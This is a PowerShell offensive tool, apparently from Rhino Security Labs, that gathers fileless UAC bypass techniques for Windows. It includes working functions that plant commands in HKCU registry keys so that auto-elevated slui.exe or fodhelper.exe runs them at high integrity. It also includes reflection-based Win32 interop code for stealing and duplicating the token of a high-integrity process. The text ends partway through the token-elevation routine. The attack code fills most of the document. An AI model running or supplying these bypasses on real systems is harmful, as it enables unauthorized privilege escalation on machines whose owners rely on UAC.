﻿<#

Author: Dwight Hohnstein, Rhino Security Labs

The purpose of this script is to aggregate many popular
UAC bypass methods into one file. All current tools do a
mediocre job at bypassing uAC. This is because many UAC Bypass
methods require hijacking DLLs and using common "elevator" dlls
as their hijack method. The aim of this script is to aggregate
all fileless bypass methods wrapped into one PowerShell script.

This script will aggregate a large number of people's research.
Each bypass method should have a link and author to the original
blog/code/tweet. Methods presented here are their PowerShell
variants.

#>

function Invoke-SluiBypass {
    <#
    .SYNOPSIS
        Writes a command to registry for the auto-elevated binary
        slui.exe to read and execute.
    .DESCRIPTION
        slui.exe reads from an unsafe registry value in HKCU which
        the user has access to. This means that once slui.exe is
        launched, you can launch any command in high integrity.
        Works from Windows 8.1 (9600). Unpatched.
    .EXAMPLE
        Invoke-SluiHijack -Command 'powershell.exe -EncCommand bAs364'
    .PARAMETER Command
        Command to execute in high IL.
    .LINK
        https://bytecode77.com/hacking/exploits/uac-bypass/slui-file-handler-hijack-privilege-
    .AUTHOR
        bytecode77
    #>
    [CmdletBinding()]
    param
    (
    [Parameter(Mandatory=$True,
    ValueFromPipeline=$True,
    ValueFromPipelineByPropertyName=$True,
    HelpMessage='Command to execute as HighIL.')]
    [string]$Command
    )
    $RegRoot = 'HKCU:\Software\Classes\exefile\shell\open'
    $Name = 'command'
    $OldValue = $null

    if(Test-Path $RegRoot) {
        $OldValue = Get-Item "$RegRoot\$Name" -ErrorAction SilentlyContinue
    }

    New-Item -Path $RegRoot -Name $Name -Value $Command -Force | Out-Null
    # Start the command
    Start-Process 'C:\Windows\System32\slui.exe' -Verb RunAs
    # Sleep required, otherwise script executes too fast
    Sleep 3
    # Cleanup
    Remove-Item -Path $RegRoot -Recurse
}

function Invoke-FodhelperBypass(){
    <#
    .SYNOPSIS
        This script is a proof of concept to bypass UAC
        via fodhelper.exe.
    .DESCRIPTION
        Creates a new registry structure in: "HKCU:\Software\Classes\ms-settings\"
        to perform an UAC bypass to start an arbitrary command as an Administrator.
        
        Note: THIS ONLY WORKS ON WIN10.

    .EXAMPLE  
        Invoke-FodhelperBypass -Command "cmd.exe /c powershell.exe"
    .PARAMETER Command
        Command to execute as HighIL
    .LINK
        https://github.com/winscripting/UAC-bypass
        https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/
    .AUTHOR
        Christian B. - winscripting.blog
    #>
    [CmdletBinding()]
    param
    (
    [Parameter(Mandatory=$True,
    ValueFromPipeline=$True,
    ValueFromPipelineByPropertyName=$True,
    HelpMessage='Command to execute as HighIL.')]
    [string]$Command
    )

    #Create registry structure
    New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
    New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
    Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $Command -Force
    
    #Perform the bypass
    Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden

    #Remove registry structure
    Sleep 3
    Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force

}

# The following code brick is from
# https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-TokenDuplication.ps1
# Without their tireless work this would not be possible

function New-InMemoryModule {
<#
.SYNOPSIS
Creates an in-memory assembly and module
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
 
.DESCRIPTION
When defining custom enums, structs, and unmanaged functions, it is
necessary to associate to an assembly module. This helper function
creates an in-memory module that can be passed to the 'enum',
'struct', and Add-Win32Type functions.
.PARAMETER ModuleName
Specifies the desired name for the in-memory assembly and module. If
ModuleName is not provided, it will default to a GUID.
.EXAMPLE
$Module = New-InMemoryModule -ModuleName Win32
#>

    Param
    (
        [Parameter(Position = 0)]
        [ValidateNotNullOrEmpty()]
        [String]
        $ModuleName = [Guid]::NewGuid().ToString()
    )

    $AppDomain = [Reflection.Assembly].Assembly.GetType('System.AppDomain').GetProperty('CurrentDomain').GetValue($null, @())
    $LoadedAssemblies = $AppDomain.GetAssemblies()

    foreach ($Assembly in $LoadedAssemblies) {
        if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) {
            return $Assembly
        }
    }

    $DynAssembly = New-Object Reflection.AssemblyName($ModuleName)
    $Domain = $AppDomain
    $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run')
    $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False)

    return $ModuleBuilder
}

function func
{
    Param
    (
        [Parameter(Position = 0, Mandatory = $True)]
        [String]
        $DllName,

        [Parameter(Position = 1, Mandatory = $True)]
        [string]
        $FunctionName,

        [Parameter(Position = 2, Mandatory = $True)]
        [Type]
        $ReturnType,

        [Parameter(Position = 3)]
        [Type[]]
        $ParameterTypes,

        [Parameter(Position = 4)]
        [Runtime.InteropServices.CallingConvention]
        $NativeCallingConvention,

        [Parameter(Position = 5)]
        [Runtime.InteropServices.CharSet]
        $Charset,

        [String]
        $EntryPoint,

        [Switch]
        $SetLastError
    )

    $Properties = @{
        DllName = $DllName
        FunctionName = $FunctionName
        ReturnType = $ReturnType
    }

    if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes }
    if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention }
    if ($Charset) { $Properties['Charset'] = $Charset }
    if ($SetLastError) { $Properties['SetLastError'] = $SetLastError }
    if ($EntryPoint) { $Properties['EntryPoint'] = $EntryPoint }

    New-Object PSObject -Property $Properties
}

function Add-Win32Type
{
<#
    .SYNOPSIS
        Creates a .NET type for an unmanaged Win32 function.
        Author: Matthew Graeber (@mattifestation)
        License: BSD 3-Clause
        Required Dependencies: None
        Optional Dependencies: func
    .DESCRIPTION
        Add-Win32Type enables you to easily interact with unmanaged (i.e.
        Win32 unmanaged) functions in PowerShell. After providing
        Add-Win32Type with a function signature, a .NET type is created
        using reflection (i.e. csc.exe is never called like with Add-Type).
        The 'func' helper function can be used to reduce typing when defining
        multiple function definitions.
    .PARAMETER DllName
        The name of the DLL.
    .PARAMETER FunctionName
        The name of the target function.
    .PARAMETER ReturnType
        The return type of the function.
    .PARAMETER ParameterTypes
        The function parameters.
    .PARAMETER NativeCallingConvention
        Specifies the native calling convention of the function. Defaults to
        stdcall.
    .PARAMETER Charset
        If you need to explicitly call an 'A' or 'W' Win32 function, you can
        specify the character set.
    .PARAMETER SetLastError
        Indicates whether the callee calls the SetLastError Win32 API
        function before returning from the attributed method.
    .PARAMETER Module
        The in-memory module that will host the functions. Use
        New-InMemoryModule to define an in-memory module.
    .PARAMETER Namespace
        An optional namespace to prepend to the type. Add-Win32Type defaults
        to a namespace consisting only of the name of the DLL.
    .EXAMPLE
        $Mod = New-InMemoryModule -ModuleName Win32
        $FunctionDefinitions = @(
          (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError),
          (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError),
          (func ntdll RtlGetCurrentPeb ([IntPtr]) @())
        )
        $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
        $Kernel32 = $Types['kernel32']
        $Ntdll = $Types['ntdll']
        $Ntdll::RtlGetCurrentPeb()
        $ntdllbase = $Kernel32::GetModuleHandle('ntdll')
        $Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb')
    .NOTES
        Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189
        When defining multiple function prototypes, it is ideal to provide
        Add-Win32Type with an array of function signatures. That way, they
        are all incorporated into the same in-memory module.
#>

    [OutputType([Hashtable])]
    Param(
        [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
        [String]
        $DllName,

        [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
        [String]
        $FunctionName,

        [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
        [Type]
        $ReturnType,

        [Parameter(ValueFromPipelineByPropertyName = $True)]
        [Type[]]
        $ParameterTypes,

        [Parameter(ValueFromPipelineByPropertyName = $True)]
        [Runtime.InteropServices.CallingConvention]
        $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall,

        [Parameter(ValueFromPipelineByPropertyName = $True)]
        [Runtime.InteropServices.CharSet]
        $Charset = [Runtime.InteropServices.CharSet]::Auto,

        [Parameter(ValueFromPipelineByPropertyName = $True)]
        [Switch]
        $SetLastError,

        [Parameter(Mandatory = $True)]
        [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
        $Module,

        [ValidateNotNull()]
        [String]
        $Namespace = ''
    )

    BEGIN
    {
        $TypeHash = @{}
    }

    PROCESS
    {
        if ($Module -is [Reflection.Assembly])
        {
            if ($Namespace)
            {
                $TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName")
            }
            else
            {
                $TypeHash[$DllName] = $Module.GetType($DllName)
            }
        }
        else
        {
            # Define one type for each DLL
            if (!$TypeHash.ContainsKey($DllName))
            {
                if ($Namespace)
                {
                    $TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit')
                }
                else
                {
                    $TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit')
                }
            }

            $Method = $TypeHash[$DllName].DefineMethod(
                $FunctionName,
                'Public,Static,PinvokeImpl',
                $ReturnType,
                $ParameterTypes)

            # Make each ByRef parameter an Out parameter
            $i = 1
            ForEach($Parameter in $ParameterTypes)
            {
                if ($Parameter.IsByRef)
                {
                    [void] $Method.DefineParameter($i, 'Out', $Null)
                }

                $i++
            }

            $DllImport = [Runtime.InteropServices.DllImportAttribute]
            $SetLastErrorField = $DllImport.GetField('SetLastError')
            $CallingConventionField = $DllImport.GetField('CallingConvention')
            $CharsetField = $DllImport.GetField('CharSet')
            if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False }

            # Equivalent to C# version of [DllImport(DllName)]
            $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String])
            $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor,
                $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(),
                [Reflection.FieldInfo[]] @($SetLastErrorField, $CallingConventionField, $CharsetField),
                [Object[]] @($SLEValue, ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention), ([Runtime.InteropServices.CharSet] $Charset)))

            $Method.SetCustomAttribute($DllImportAttribute)
        }
    }

    END
    {
        if ($Module -is [Reflection.Assembly])
        {
            return $TypeHash
        }

        $ReturnTypes = @{}

        ForEach ($Key in $TypeHash.Keys)
        {
            $Type = $TypeHash[$Key].CreateType()

            $ReturnTypes[$Key] = $Type
        }

        return $ReturnTypes
    }
}

function psenum
{
<#
    .SYNOPSIS
        Creates an in-memory enumeration for use in your PowerShell session.
        Author: Matthew Graeber (@mattifestation)
        License: BSD 3-Clause
        Required Dependencies: None
        Optional Dependencies: None
     
    .DESCRIPTION
        The 'psenum' function facilitates the creation of enums entirely in
        memory using as close to a "C style" as PowerShell will allow.
    .PARAMETER Module
        The in-memory module that will host the enum. Use
        New-InMemoryModule to define an in-memory module.
    .PARAMETER FullName
        The fully-qualified name of the enum.
    .PARAMETER Type
        The type of each enum element.
    .PARAMETER EnumElements
        A hashtable of enum elements.
    .PARAMETER Bitfield
        Specifies that the enum should be treated as a bitfield.
    .EXAMPLE
        $Mod = New-InMemoryModule -ModuleName Win32
        $ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{
            UNKNOWN =                  0
            NATIVE =                   1 # Image doesn't require a subsystem.
            WINDOWS_GUI =              2 # Image runs in the Windows GUI subsystem.
            WINDOWS_CUI =              3 # Image runs in the Windows character subsystem.
            OS2_CUI =                  5 # Image runs in the OS/2 character subsystem.
            POSIX_CUI =                7 # Image runs in the Posix character subsystem.
            NATIVE_WINDOWS =           8 # Image is a native Win9x driver.
            WINDOWS_CE_GUI =           9 # Image runs in the Windows CE subsystem.
            EFI_APPLICATION =          10
            EFI_BOOT_SERVICE_DRIVER =  11
            EFI_RUNTIME_DRIVER =       12
            EFI_ROM =                  13
            XBOX =                     14
            WINDOWS_BOOT_APPLICATION = 16
        }
    .NOTES
        PowerShell purists may disagree with the naming of this function but
        again, this was developed in such a way so as to emulate a "C style"
        definition as closely as possible. Sorry, I'm not going to name it
        New-Enum. :P
#>

    [OutputType([Type])]
    Param
    (
        [Parameter(Position = 0, Mandatory = $True)]
        [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
        $Module,

        [Parameter(Position = 1, Mandatory = $True)]
        [ValidateNotNullOrEmpty()]
        [String]
        $FullName,

        [Parameter(Position = 2, Mandatory = $True)]
        [Type]
        $Type,

        [Parameter(Position = 3, Mandatory = $True)]
        [ValidateNotNullOrEmpty()]
        [Hashtable]
        $EnumElements,

        [Switch]
        $Bitfield
    )

    if ($Module -is [Reflection.Assembly])
    {
        return ($Module.GetType($FullName))
    }

    $EnumType = $Type -as [Type]

    $EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType)

    if ($Bitfield)
    {
        $FlagsConstructor = [FlagsAttribute].GetConstructor(@())
        $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @())
        $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute)
    }

    ForEach ($Key in $EnumElements.Keys)
    {
        # Apply the specified enum type to each element
        $Null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType)
    }

    $EnumBuilder.CreateType()
}

function field
{
    Param
    (
        [Parameter(Position = 0, Mandatory = $True)]
        [UInt16]
        $Position,
        
        [Parameter(Position = 1, Mandatory = $True)]
        [Type]
        $Type,
        
        [Parameter(Position = 2)]
        [UInt16]
        $Offset,
        
        [Object[]]
        $MarshalAs
    )

    @{
        Position = $Position
        Type = $Type -as [Type]
        Offset = $Offset
        MarshalAs = $MarshalAs
    }
}

function struct
{
<#
.SYNOPSIS
Creates an in-memory struct for use in your PowerShell session.
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: field
 
.DESCRIPTION
The 'struct' function facilitates the creation of structs entirely in
memory using as close to a "C style" as PowerShell will allow. Struct
fields are specified using a hashtable where each field of the struct
is comprosed of the order in which it should be defined, its .NET
type, and optionally, its offset and special marshaling attributes.
One of the features of 'struct' is that after your struct is defined,
it will come with a built-in GetSize method as well as an explicit
converter so that you can easily cast an IntPtr to the struct without
relying upon calling SizeOf and/or PtrToStructure in the Marshal
class.
.PARAMETER Module
The in-memory module that will host the struct. Use
New-InMemoryModule to define an in-memory module.
.PARAMETER FullName
The fully-qualified name of the struct.
.PARAMETER StructFields
A hashtable of fields. Use the 'field' helper function to ease
defining each field.
.PARAMETER PackingSize
Specifies the memory alignment of fields.
.PARAMETER ExplicitLayout
Indicates that an explicit offset for each field will be specified.
.PARAMETER CharSet
Dictates which character set marshaled strings should use.
.EXAMPLE
$Mod = New-InMemoryModule -ModuleName Win32
$ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{
    DOS_SIGNATURE =    0x5A4D
    OS2_SIGNATURE =    0x454E
    OS2_SIGNATURE_LE = 0x454C
    VXD_SIGNATURE =    0x454C
}
$ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{
    e_magic =    field 0 $ImageDosSignature
    e_cblp =     field 1 UInt16
    e_cp =       field 2 UInt16
    e_crlc =     field 3 UInt16
    e_cparhdr =  field 4 UInt16
    e_minalloc = field 5 UInt16
    e_maxalloc = field 6 UInt16
    e_ss =       field 7 UInt16
    e_sp =       field 8 UInt16
    e_csum =     field 9 UInt16
    e_ip =       field 10 UInt16
    e_cs =       field 11 UInt16
    e_lfarlc =   field 12 UInt16
    e_ovno =     field 13 UInt16
    e_res =      field 14 UInt16[] -MarshalAs @('ByValArray', 4)
    e_oemid =    field 15 UInt16
    e_oeminfo =  field 16 UInt16
    e_res2 =     field 17 UInt16[] -MarshalAs @('ByValArray', 10)
    e_lfanew =   field 18 Int32
}
# Example of using an explicit layout in order to create a union.
$TestUnion = struct $Mod TestUnion @{
    field1 = field 0 UInt32 0
    field2 = field 1 IntPtr 0
} -ExplicitLayout
.NOTES
PowerShell purists may disagree with the naming of this function but
again, this was developed in such a way so as to emulate a "C style"
definition as closely as possible. Sorry, I'm not going to name it
New-Struct. :P
#>

    [OutputType([Type])]
    Param
    (
        [Parameter(Position = 1, Mandatory = $True)]
        [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
        $Module,

        [Parameter(Position = 2, Mandatory = $True)]
        [ValidateNotNullOrEmpty()]
        [String]
        $FullName,

        [Parameter(Position = 3, Mandatory = $True)]
        [ValidateNotNullOrEmpty()]
        [Hashtable]
        $StructFields,

        [Reflection.Emit.PackingSize]
        $PackingSize = [Reflection.Emit.PackingSize]::Unspecified,

        [Switch]
        $ExplicitLayout,

        [System.Runtime.InteropServices.CharSet]
        $CharSet = [System.Runtime.InteropServices.CharSet]::Ansi
    )

    if ($Module -is [Reflection.Assembly])
    {
        return ($Module.GetType($FullName))
    }

    [Reflection.TypeAttributes] $StructAttributes = 'Class,
        Public,
        Sealed,
        BeforeFieldInit'

    if ($ExplicitLayout)
    {
        $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout
    }
    else
    {
        $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout
    }

    switch($CharSet)
    {
        Ansi
        {
            $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::AnsiClass
        }
        Auto
        {
            $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::AutoClass
        }
        Unicode
        {
            $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::UnicodeClass
        s}
    }

    $StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize)
    $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
    $SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))

    $Fields = New-Object Hashtable[]($StructFields.Count)

    # Sort each field according to the orders specified
    # Unfortunately, PSv2 doesn't have the luxury of the
    # hashtable [Ordered] accelerator.
    foreach ($Field in $StructFields.Keys)
    {
        $Index = $StructFields[$Field]['Position']
        $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]}
    }

    foreach ($Field in $Fields)
    {
        $FieldName = $Field['FieldName']
        $FieldProp = $Field['Properties']

        $Offset = $FieldProp['Offset']
        $Type = $FieldProp['Type']
        $MarshalAs = $FieldProp['MarshalAs']

        $NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public')

        if ($MarshalAs)
        {
            $UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType])
            if ($MarshalAs[1])
            {
                $Size = $MarshalAs[1]
                $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo,
                    $UnmanagedType, $SizeConst, @($Size))
            }
            else
            {
                $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType))
            }
            
            $NewField.SetCustomAttribute($AttribBuilder)
        }

        if ($ExplicitLayout) { $NewField.SetOffset($Offset) }
    }

    # Make the struct aware of its own size.
    # No more having to call [Runtime.InteropServices.Marshal]::SizeOf!
    $SizeMethod = $StructBuilder.DefineMethod('GetSize',
        'Public, Static',
        [Int],
        [Type[]] @())
    $ILGenerator = $SizeMethod.GetILGenerator()
    # Thanks for the help, Jason Shirk!
    $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
    $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
        [Type].GetMethod('GetTypeFromHandle'))
    $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
        [Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type])))
    $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret)

    # Allow for explicit casting from an IntPtr
    # No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure!
    $ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit',
        'PrivateScope, Public, Static, HideBySig, SpecialName',
        $StructBuilder,
        [Type[]] @([IntPtr]))
    $ILGenerator2 = $ImplicitConverter.GetILGenerator()
    $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop)
    $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0)
    $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
    $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
        [Type].GetMethod('GetTypeFromHandle'))
    $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
        [Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type])))
    $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder)
    $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret)

    $StructBuilder.CreateType()
}

$Module = New-InMemoryModule -ModuleName Win32

$SE_GROUP = psenum $Module SE_GROUP UInt32 @{
    DISABLED           = 0x00000000
    MANDATORY          = 0x00000001
    ENABLED_BY_DEFAULT = 0x00000002
    ENABLED            = 0x00000004
    OWNER              = 0x00000008
    USE_FOR_DENY_ONLY  = 0x00000010
    INTEGRITY          = 0x00000020
    INTEGRITY_ENABLED  = 0x00000040
    RESOURCE           = 0x20000000
    LOGON_ID           = 3221225472
} -Bitfield


$SECURITY_ATTRIBUTES = struct $Module SECURITY_ATTRIBUTES @{
    nLength = field 0 Int
    lpSecurityDescriptor = field 1 IntPtr
    bInheritHandle = field 2 Int
}

$SID_IDENTIFIER_AUTHORITY = struct $Module SID_IDENTIFIER_AUTHORITY @{
    value = field 0 byte[] -MarshalAs @('ByValArray',6)
}

$SID_AND_ATTRIBUTES = struct $Module SID_AND_ATTRIBUTES @{
    Sid = field 0 IntPtr
    Attributes = field 1 $SE_GROUP
}


$TOKEN_MANDATORY_LABEL = struct $Module TOKEN_MANDATORY_LABEL @{
    Label = field 0 $SID_AND_ATTRIBUTES
}

$STARTUPINFO = struct $Module STARTUPINFO @{
    cb = field 0 int
    lpReserved = field 1 string
    lpDesktop = field 2 string
    lpTitle = field 3 string
    dwX = field 4 int
    dwY = field 5 int
    dwXSize = field 6 int
    dwYSize = field 7 int
    dwXCountChars = field 8 int
    dwYCountChars = field 9 int
    dwFillAttribute = field 10 int
    dwFlags = field 11 int
    wShowWindow = field 12 int
    cbReserved2 = field 13 int
    lpReserved2 = field 14 IntPtr
    hStdInput = field 15 IntPtr
    hStdOutput = field 16 IntPtr
    hStdError = field 17 IntPtr
}

$PROCESS_INFORMATION = struct $Module PROCESS_INFORMATION @{
     hProcess = field 0 IntPtr
     hThread = field 1 IntPtr
     dwProcessId = field 2 int
     dwThreadId = field 3 int
}

$FunctionDefinitions = @(
    (func advapi32 OpenProcessToken ([bool]) @(
        [IntPtr],
        [UInt32],
        [IntPtr].MakeByRefType()
    ) -EntryPoint OpenProcessToken -SetLastError),

    (func advapi32 GetTokenInformation ([bool]) @(
        [IntPtr],
        [Int32],
        [IntPtr],
        [UInt32],
        [UInt32].MakeByRefType()
    ) -EntryPoint GetTokenInformation -SetLastError),

    (func advapi32 GetSidSubAuthorityCount ([IntPtr]) @(
        [IntPtr]
    ) -EntryPoint GetSidSubAuthorityCount -SetLastError),

    (func advapi32 GetSidSubAuthority([IntPtr]) @(
        [IntPtr],
        [UInt32]
    ) -EntryPoint GetSidSubAuthority -SetLastError),

    (func advapi32 DuplicateTokenEx ([bool]) @(
        [IntPtr],
        [UInt32],
        [IntPtr],
        [UInt32],
        [UInt32],
        [IntPtr].MakeByRefType()
    ) -EntryPoint DuplicateTokenEx -SetLastError),

    (func advapi32 AllocateAndInitializeSid ([bool]) @(
        $SID_IDENTIFIER_AUTHORITY,
        [Byte],
        [UInt32],
        [UInt32],
        [UInt32],
        [UInt32],
        [UInt32],
        [UInt32],
        [UInt32],
        [UInt32],
        [IntPtr].MakeByRefType()                  
    ) -EntryPoint AllocateAndInitializeSid -SetLastError),

    (func advapi32 ImpersonateLoggedOnUser ([bool]) @(
        [IntPtr]
    )-EntryPoint ImpersonateLoggedOnUser -SetLastError),

    (func advapi32 CreateProcessWithLogonW ([bool]) @(
        [String],
        [String],
        [String],
        [UInt32],
        [String],
        [String],
        [UInt32],
        [UInt32],
        [String],
        [IntPtr],
        [IntPtr].MakeByRefType()
    )-EntryPoint CreateProcessWithLogonW -SetLastError),


    (func kernel32 OpenProcess ([IntPtr]) @(
        [UInt32],
        [bool],
        [UInt32]
    )-EntryPoint OpenProcess -SetLastError),

    (func kernel32 TerminateProcess ([bool]) @(
        [IntPtr],
        [UInt32]
    )-EntryPoint TerminateProcess -SetLastError),

    (func ntdll NtSetInformationToken ([int]) @(
        [IntPtr],
        [UInt32],
        [IntPtr],
        [UInt32]
    )-EntryPoint NtSetInformationToken -SetLastError),

    (func ntdll NtFilterToken ([int]) @(
        [IntPtr],
        [UInt32],
        [IntPtr],
        [IntPtr],
        [IntPtr],
        [IntPtr].MakeByRefType()
    )-EntryPoint NtFilterToken -SetLastError)



)

$Types = $FunctionDefinitions | Add-Win32Type -Module $Module -Namespace 'Win32'
$Advapi32 = $Types['advapi32']
$Kernel32 = $Types['kernel32']
$ntdll = $Types['ntdll']



function EnumProcesses(){
    # Dwight's edit --
    # ctfmon is a false positive HI process. Ensure
    # this is not the process to steal token 
	Get-Process | ? { $_.Name -ne 'ctfmon' } | %{
		# Get handle to the process
		$ProcHandle = $Kernel32::OpenProcess(0x00001000, $false, $_.Id)
		if($ProcHandle -eq 0){
			#echo "[!] Unable to open process`n"
			return
		}

		# Get handle to the process token
		$hTokenHandle = 0
		$CallResult = $Advapi32::OpenProcessToken($ProcHandle, 0x02000000, [ref]$hTokenHandle)
		if($CallResult -eq 0){
			return
		}	
			
		# Call GetTokenInformation with TokenInformationClass = 25 (TokenIntegrityLevel)
		[int]$Length = 0
		$CallResult = $Advapi32::GetTokenInformation($hTokenHandle, 25, [IntPtr]::Zero, $Length, [ref]$Length)
			
		# After we get the buffer length alloc and call again
		[IntPtr]$TokenInformation = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($Length)
		$CallResult = $Advapi32::GetTokenInformation($hTokenHandle, 25, $TokenInformation, $Length, [ref]$Length)
			
		[System.IntPtr] $pSid1 = [System.Runtime.InteropServices.Marshal]::ReadIntPtr($TokenInformation)
		[int]$IntegrityLevel = [System.Runtime.InteropServices.Marshal]::ReadInt32($advapi32::GetSidSubAuthority($pSid1, ([System.Runtime.InteropServices.Marshal]::ReadByte($Advapi32::GetSidSubAuthorityCount($pSid1)) - 1)))
		if($IntegrityLevel -eq 12288){
			return [int]$_.Id
		}
	}
}

function ElevateProcess($HIProc,$Binary, $Arguments){
    $PROCESS_QUERY_LIMITED_INFORMATION = 0x00001000
    $bInheritHandle = $false
	$hProcess = $Kernel32::OpenProcess($PROCESS_QUERY_LIMITED_INFORMATION, $bInheritHandle, $HIProc[0])	
	if ($hProcess -ne 0) {
			Write-Verbose "[*] Successfully acquired $((Get-Process -Id $HIProc).Name) handle"
		} else {
			Write-Verbose "[!] Failed to get process token!`n"
			Break
		}
	$hToken = [IntPtr]::Zero
	
	if($Advapi32::OpenProcessToken($hProcess, 0x02000000, [ref]$hToken)) {
		Write-Verbose "[*] Opened process token"
	} else {
		Write-Verbose "[!] Failed open process token!`n"
		Break
	}


	$hNewToken = [IntPtr]::Zero	
	$SEC_ATTRIBUTES_Struct = [Activator]::CreateInstance($SECURITY_ATTRIBUTES)
    [IntPtr]$SEC_ATTRIBUTES_PTR = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SECURITY_ATTRIBUTES::GetSize())
    [Runtime.InteropServices.Marshal]::StructureToPtr($SEC_ATTRIBUTES_Struct, $SEC_ATTRIBUTES_PTR,$False)
	if($Advapi32::DuplicateTokenEx($hToken,0xf01ff,$SEC_ATTRIBUTES_PTR,2,1,[ref]$hNewToken)) {
		Write-Verbose "[*] Duplicated process token"
	} else {
		Write-Verbose "[!] Failed to duplicate process token!`n"
		Break
	}
	$SIA_Struct = [Activator]::CreateInstance($SID_IDENTIFIER_AUTHORITY)
    #0x10 == SECURITY_MANDATORY_LABEL_AUTHORITY  
    $SIA_Struct.Value = [byte[]](0x0, 0x0, 0x0, 0x0, 0x0, 0x10)

    [IntPtr]$SIA_PTR = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SID_IDENTIFIER_AUTHORITY::GetSize())
    [Runtime.InteropServices.Marshal]::StructureToPtr($SIA_Struct,$SIA_PTR,$False)
	$pSid = [System.IntPtr]::Zero

	$Advapi32::AllocateAndInitializeSid($SIA_PTR,1,0x2000,0,0,0,0,0,0,0,[ref]$pSid)



	$SID_AND_ATTRIBUTES_Struct = [Activator]::CreateInstance($SID_AND_ATTRIBUTES)
    $SID_AND_ATTRIBUTES_Struct.Sid = $pSid
    $SID_AND_ATTRIBUTES_Struct.Attributes = 0x20
    [IntPtr]$SID_AND_ATTRIBUTES_PTR = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SID_AND_ATTRIBUTES::GetSize())
    [Runtime.InteropServices.Marshal]::StructureToPtr($SID_AND_ATTRIBUTES_Struct, $SID_AND_ATTRIBUTES_PTR,$False)
	$TOKEN_MANDATORY_LABEL_Struct = [Activator]::CreateInstance($TOKEN_MANDATORY_LABEL)
